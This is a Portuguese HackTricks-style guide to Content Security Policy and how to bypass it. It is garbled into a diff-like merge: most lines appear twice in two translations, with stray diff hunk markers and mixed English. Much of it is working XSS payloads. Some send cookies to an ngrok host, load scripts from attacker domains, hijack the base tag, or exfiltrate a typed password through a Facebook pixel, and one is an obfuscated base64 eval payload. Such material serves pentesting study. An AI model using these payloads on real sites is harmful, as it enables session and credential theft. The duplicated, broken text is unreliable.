{{#include ../../banners/hacktricks-training.md}}
## O que é CSP
Content Security Policy (CSP) é reconhecido como uma tecnologia de navegador, principalmente voltada para **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir dos quais recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout` ou `setInterval`.
Content Security Policy (CSP) é reconhecida como uma tecnologia do browser, destinada principalmente a **proteger contra ataques como cross-site scripting (XSS)**. Ela funciona definindo e detalhando caminhos e fontes de onde recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos como imagens, frames e JavaScript. Por exemplo, uma policy pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout`, ou `setInterval`.
A implementação do CSP é realizada através de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.
A implementação do CSP é feita através de **cabeçalhos de resposta** ou pela inclusão de **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas disposições e bloqueiam imediatamente quaisquer violações detectadas.
- Implementado via cabeçalho de resposta:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Implementado via tag meta:
- Implementado via meta tag:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Headers
### Cabeçalhos
CSP pode ser aplicado ou monitorado usando esses cabeçalhos:
CSP pode ser aplicado ou monitorado usando estes cabeçalhos:
- `Content-Security-Policy`: Aplica o CSP; o navegador bloqueia quaisquer violações.
- `Content-Security-Policy-Report-Only`: Usado para monitoramento; relata violações sem bloqueá-las. Ideal para testes em ambientes de pré-produção.
- `Content-Security-Policy`: Aplica a CSP; o navegador bloqueia quaisquer violações.
- `Content-Security-Policy-Report-Only`: Usado para monitoramento; reporta violações sem bloqueá-las. Ideal para testes em ambientes de pré-produção.
### Definindo Recursos
CSP restringe as origens para carregar tanto conteúdo ativo quanto passivo, controlando aspectos como a execução de JavaScript inline e o uso de `eval()`. Um exemplo de política é:
CSP restringe as origens para o carregamento de conteúdo ativo e passivo, controlando aspectos como a execução de JavaScript inline e o uso de `eval()`. Um exemplo de política é:
```bash
default-src 'none';
img-src 'self';
@ -37,40 +37,40 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Diretrizes
### Diretivas
- **script-src**: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT.
- **default-src**: Define uma política padrão para buscar recursos quando diretrizes de busca específicas estão ausentes.
- **child-src**: Especifica recursos permitidos para trabalhadores da web e conteúdos de quadros incorporados.
- **default-src**: Define uma política padrão para busca de recursos quando diretivas específicas de fetch estão ausentes.
- **child-src**: Especifica recursos permitidos para web workers e conteúdos de frames embutidos.
- **connect-src**: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Restringe URLs para quadros.
- **frame-ancestors**: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>` e `<applet>`.
- **frame-src**: Restringe URLs para frames.
- **frame-ancestors**: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>`, e `<applet>`.
- **img-src**: Define fontes permitidas para imagens.
- **font-src**: Especifica fontes válidas para fontes carregadas usando `@font-face`.
- **manifest-src**: Define fontes permitidas de arquivos de manifesto de aplicativo.
- **font-src**: Especifica fontes válidas para fonts carregadas usando `@font-face`.
- **manifest-src**: Define fontes permitidas para arquivos de manifest de aplicação.
- **media-src**: Define fontes permitidas para carregar objetos de mídia.
- **object-src**: Define fontes permitidas para elementos `<object>`, `<embed>` e `<applet>`.
- **base-uri**: Especifica URLs permitidas para carregamento usando elementos `<base>`.
- **form-action**: Lista pontos finais válidos para envios de formulários.
- **plugin-types**: Restringe tipos mime que uma página pode invocar.
- **upgrade-insecure-requests**: Instrui os navegadores a reescrever URLs HTTP para HTTPS.
- **sandbox**: Aplica restrições semelhantes ao atributo sandbox de um `<iframe>`.
- **report-to**: Especifica um grupo para o qual um relatório será enviado se a política for violada.
- **object-src**: Define fontes permitidas para elementos `<object>`, `<embed>`, e `<applet>`.
- **base-uri**: Especifica URLs permitidos para carregamento usando elementos `<base>`.
- **form-action**: Lista endpoints válidos para submissões de formulários.
- **plugin-types**: Restringe tipos MIME que a página pode invocar.
- **upgrade-insecure-requests**: Instrui os browsers a reescrever URLs HTTP para HTTPS.
- **sandbox**: Aplica restrições similares ao atributo sandbox de um `<iframe>`.
- **report-to**: Especifica um grupo para o qual um relatório será enviado caso a política seja violada.
- **worker-src**: Especifica fontes válidas para scripts Worker, SharedWorker ou ServiceWorker.
- **prefetch-src**: Especifica fontes válidas para recursos que serão buscados ou pré-buscados.
- **navigate-to**: Restringe as URLs para as quais um documento pode navegar por qualquer meio (a, formulário, window.location, window.open, etc.)
- **prefetch-src**: Especifica fontes válidas para recursos que serão buscados ou pré-carregados.
- **navigate-to**: Restringe as URLs para as quais um documento pode navegar por qualquer meio (a, form, window.location, window.open, etc.)
### Fontes
### Origens
- `*`: Permite todas as URLs, exceto aquelas com esquemas `data:`, `blob:`, `filesystem:`.
- `*`: Permite todas as URLs exceto aquelas com os esquemas `data:`, `blob:`, `filesystem:`.
- `'self'`: Permite carregamento do mesmo domínio.
- `'data'`: Permite que recursos sejam carregados via o esquema de dados (por exemplo, imagens codificadas em Base64).
- `'none'`: Bloqueia o carregamento de qualquer fonte.
- `'unsafe-eval'`: Permite o uso de `eval()` e métodos semelhantes, não recomendado por razões de segurança.
- `'data'`: Permite que recursos sejam carregados via esquema data (ex.: imagens codificadas em Base64).
- `'none'`: Bloqueia carregamento de qualquer fonte.
- `'unsafe-eval'`: Permite o uso de `eval()` e métodos similares; não recomendado por razões de segurança.
- `'unsafe-hashes'`: Habilita manipuladores de eventos inline específicos.
- `'unsafe-inline'`: Permite o uso de recursos inline como `<script>` ou `<style>` inline, não recomendado por razões de segurança.
- `'nonce'`: Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).
- Se você tiver execução limitada de JS, é possível obter um nonce usado dentro da página com `doc.defaultView.top.document.querySelector("[nonce]")` e então reutilizá-lo para carregar um script malicioso (se strict-dynamic for usado, qualquer fonte permitida pode carregar novas fontes, então isso não é necessário), como em:
- `'unsafe-inline'`: Permite o uso de recursos inline como `<script>` ou `<style>` inline; não recomendado por razões de segurança.
- `'nonce'`: Lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).
- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
<details>
@ -88,18 +88,18 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Adiciona à lista branca scripts com um hash sha256 específico.
- `'strict-dynamic'`: Permite carregar scripts de qualquer fonte se tiver sido adicionado à lista branca por um nonce ou hash.
- `'sha256-<hash>'`: Permite scripts com um hash sha256 específico.
- `'strict-dynamic'`: Permite carregar scripts de qualquer origem se tiver sido autorizado por um nonce ou hash.
- `'host'`: Especifica um host específico, como `example.com`.
- `https:`: Restringe URLs àquelas que usam HTTPS.
- `blob:`: Permite que recursos sejam carregados de URLs Blob (por exemplo, URLs Blob criadas via JavaScript).
- `filesystem:`: Permite que recursos sejam carregados do sistema de arquivos.
- `'report-sample'`: Inclui uma amostra do código que viola a política no relatório de violação (útil para depuração).
- `'strict-origin'`: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras).
- `'strict-origin-when-cross-origin'`: Envia URLs completas ao fazer solicitações de mesma origem, mas apenas envia a origem quando a solicitação é de origem cruzada.
- `'unsafe-allow-redirects'`: Permite que recursos sejam carregados que redirecionarão imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança.
- `blob:`: Permite que recursos sejam carregados a partir de Blob URLs (por exemplo, Blob URLs criadas via JavaScript).
- `filesystem:`: Permite que recursos sejam carregados a partir do filesystem.
- `'report-sample'`: Inclui um exemplo do código violador no relatório de violação (útil para depuração).
- `'strict-origin'`: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao do documento (apenas origens seguras podem carregar recursos de origens seguras).
- `'strict-origin-when-cross-origin'`: Envia URLs completas quando faz requisições same-origin, mas envia apenas a origem quando a requisição é cross-origin.
- `'unsafe-allow-redirects'`: Permite que recursos sejam carregados que irão redirecionar imediatamente para outro recurso. Não recomendado pois enfraquece a segurança.
## Regras CSP Inseguras
## Regras CSP inseguras
### 'unsafe-inline'
```yaml
@ -117,17 +117,17 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> Isso não está funcionando, para mais informações [**verifique isso**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> Isto não está funcionando, para mais informações [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Carga útil funcional:
Payload funcional:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
Se você conseguir de alguma forma fazer um **código JS permitido criar uma nova tag de script** no DOM com seu código JS, porque um script permitido está criando-a, a **nova tag de script será permitida para ser executada**.
Se de alguma forma você conseguir fazer com que um **código JS permitido crie uma nova script tag** no DOM com seu código JS, porque um script permitido está criando-a, a **nova script tag poderá ser executada**.
### Wildcard (\*)
```yaml
@ -138,46 +138,44 @@ Payload funcional:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Falta de object-src e default-src
### Ausência de object-src e default-src
> [!CAUTION] > **Parece que isso não está mais funcionando**
```yaml
Content-Security-Policy: script-src 'self' ;
```
Payloads funcionais:
Payloads que funcionam:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Upload de Arquivo + 'self'
### File Upload + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Se você puder fazer upload de um arquivo JS, pode contornar este CSP:
Se você conseguir fazer upload de um arquivo JS, pode contornar esse CSP:
Carga útil funcional:
Payload funcional:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
No entanto, é altamente provável que o servidor **valide o arquivo enviado** e só permita que você **envie determinados tipos de arquivos**.
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permita que você **envie determinados tipos de arquivos**.
Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitam executar código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
Além disso, mesmo que você pudesse enviar um **JS code inside** dentro de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente, porque alguns servidores como o apache server **select MIME type of the file based on the extension** e navegadores como o Chrome irão **reject to execute Javascript** code dentro de algo que deveria ser uma imagem. "Hopefully", existem falhas. Por exemplo, num CTF aprendi que **Apache doesn't know** a extensão _**.wave**_, portanto ele não a serve com um **MIME type like audio/***.
A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma **extensão mal interpretada**, você poderia tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglota aqui](https://github.com/Polydet/polyglot-database)).
A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir identificar uma **misinterpreted extension**, pode tentar enviar um arquivo com essa extensão contendo o conteúdo do script. Ou, se o servidor verifica o formato correto do arquivo enviado, crie um polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
Se não for possível injetar JS, você ainda poderia tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperando que gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
### Endpoints de Terceiros + ('unsafe-eval')
Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais **injecting a form action** (e talvez esperando que password managers preencham automaticamente as senhas). Você pode encontrar um [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, note que `default-src` não cobre form actions.
> [!WARNING]
> Para alguns dos seguintes payloads, **`unsafe-eval` não é nem mesmo necessário**.
> Para alguns dos seguintes payload **`unsafe-eval` nem sequer é necessário**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Carregue uma versão vulnerável do angular e execute JS arbitrário:
Carregar uma versão vulnerável do angular e executar JS arbitrário:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -198,10 +196,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([veja este post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cloudflare.com` (ou qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar **quais funções de quais bibliotecas retornam o objeto `window`**.
> O post mostra que você pode **carregar** todas as **bibliotecas** de `cdn.cloudflare.com` (ou qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar **quais funções de quais bibliotecas retornam o objeto `window`**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -231,9 +229,9 @@ Angular XSS a partir de um nome de classe:
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Abusando do código JS do google recaptcha
#### Abusando do google recaptcha JS code
De acordo com [**este writeup de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), você pode abusar de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de um CSP para executar código JS arbitrário contornando o CSP:
De acordo com [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) você pode abusar de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de uma CSP para executar código JS arbitrário contornando a CSP:
```html
<div
ng-controller="CarouselController as c"
@ -244,7 +242,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Mais [**payloads deste artigo**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Mais [**payloads deste writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -261,21 +259,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Abusando www.google.com para redirecionamento aberto
#### Abusando do www.google.com para open redirect
A seguinte URL redireciona para example.com (de [aqui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Abusando \*.google.com/script.google.com
Abusando de \*.google.com/script.google.com
É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é [feito neste relatório](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Endpoints de Terceiros + JSONP
### Endpoints de terceiros + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, payload funcional:
Cenários como este, em que `script-src` está definido como `self` e um domínio específico está whitelisted, podem ser contornados usando JSONP. Endpoints JSONP permitem callbacks inseguros que permitem a um atacante realizar XSS. Payload funcional:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -289,26 +287,26 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para usar para contornar o CSP de diferentes sites.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para uso para bypass de CSP em diferentes websites.**
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Open Redirect** porque, se o endpoint inicial for confiável, os redirecionamentos são confiáveis.
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Open Redirect** porque, se o endpoint inicial é confiável, os redirecionamentos também são confiáveis.
### Abusos de Terceiros
Como descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP, e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
Como descrito no [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem estar permitidos em algum lugar no CSP e que podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
| Entidade | Domínio Permitido | Capacidades |
| ----------------- | ------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Entidade | Domínio Permitido | Capacidades |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa contornar o CSP registrando-se no serviço de terceiros e, ou exfiltrando dados para esse serviço ou executando código.
Se você encontrar qualquer um dos domínios permitidos no CSP do seu alvo, há grandes chances de que você consiga contornar o CSP registrando-se no serviço de terceiros e, então, exfiltrar dados para esse serviço ou executar código.
Por exemplo, se você encontrar o seguinte CSP:
```
@ -318,80 +316,80 @@ ou
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, você segue estes passos gerais:
Você deve ser capaz de exfiltrar dados, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estes passos gerais:
1. Crie uma conta de desenvolvedor do Facebook aqui.
2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
3. Vá para "Configurações -> Básico" e obtenha seu "App ID".
4. No site alvo de onde você deseja exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget "fbq" do Facebook SDK através de um "customEvent" e o payload de dados.
5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (note que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo "seu" site.
1. Crie uma conta de Facebook Developer aqui.
2. Crie um novo app "Facebook Login" e selecione "Website".
3. Vá em "Settings -> Basic" e obtenha seu "App ID"
4. No site alvo do qual você quer exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget do Facebook SDK "fbq" através de um "customEvent" e o data payload.
5. Vá ao "Event Manager" do seu App e selecione a aplicação que você criou (note que o event manager pode ser encontrado em uma URL similar a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo "your" web site.
Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado assim:
Então, no lado da vítima, execute o código a seguir para inicializar o Facebook tracking pixel apontando para o app-id da conta Facebook Developer do atacante e emitir um custom event assim:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o [post do blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mencionado anteriormente para explicações adicionais sobre outros abusos de terceiros.
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras formas de abusá-los. Consulte o [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mencionado anteriormente para explicações adicionais sobre outros abusos a terceiros.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Além da redireção mencionada para contornar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
Além da redireção mencionada anteriormente para bypass de restrições de path, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
Por exemplo, se o CSP permite o path `https://example.com/scripts/react/`, ele pode ser bypassed da seguinte forma:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
O navegador, em última análise, carregará `https://example.com/scripts/angular/angular.js`.
O navegador acabará carregando `https://example.com/scripts/angular/angular.js`.
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, que está em conformidade com CSP.
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, o que está em conformidade com o CSP.
∑, eles irão decodificá-lo, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
Então, ele irá decodificá-lo, requisitando efetivamente `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.
Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
Ao **explorar essa inconsistência na interpretação de URLs entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
A solução é não tratar `%2f` como `/` no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.
Exemplo Online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Execução de JS em Iframes
### Iframes JS execution
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### falta de **base-uri**
### Ausência de **base-uri**
Se a diretiva **base-uri** estiver ausente, você pode abusar disso para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/index.html).
Se a diretiva **base-uri** estiver ausente, você pode abusar dela para realizar um [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag** **base** para fazer com que ela **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
Se a página vulnerável for carregada com **httpS**, use uma URL httpS na base.
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **base** **tag** para fazê-la **load** o script do **your own server achieving a XSS.**\
Se a página vulnerável estiver carregada com **httpS**, use uma httpS url no base.
```html
<base href="https://www.attacker.com/" />
```
### AngularJS events
### Eventos do AngularJS
Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos personalizados como uma alternativa. Dentro de um evento, o AngularJS fornece um objeto único `$event`, referenciando o objeto de evento nativo do navegador. Este objeto `$event` pode ser explorado para contornar o CSP. Notavelmente, no Chrome, o objeto `$event/event` possui um atributo `path`, que contém um array de objetos implicados na cadeia de execução do evento, com o objeto `window` invariavelmente posicionado no final. Esta estrutura é fundamental para táticas de escape de sandbox.
Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos customizados como alternativa. Dentro de um evento, o AngularJS fornece um objeto único `$event`, que referencia o objeto de evento nativo do browser. Esse objeto `$event` pode ser explorado para contornar a CSP. Notavelmente, no Chrome, o objeto `$event/event` possui um atributo `path`, que contém um array de objetos envolvidos na cadeia de execução do evento, com o objeto `window` sempre posicionado no final. Essa estrutura é fundamental para táticas de escape do sandbox.
Ao direcionar este array para o filtro `orderBy`, é possível iterar sobre ele, aproveitando o elemento terminal (o objeto `window`) para acionar uma função global como `alert()`. O trecho de código demonstrado abaixo elucida este processo:
Ao direcionar esse array para o filtro `orderBy`, é possível iterar sobre ele, aproveitando o elemento terminal (o objeto `window`) para acionar uma função global como `alert()`. O snippet de código mostrado abaixo elucida esse processo:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregando `$event.path|orderBy` para manipular o array `path`, e aproveitando o objeto `window` para executar a função `alert()`, revelando assim `document.cookie`.
**Encontre outras contornações do Angular em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Encontre outros bypasses do Angular em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS e domínio na lista branca
### AngularJS and whitelisted domain
```
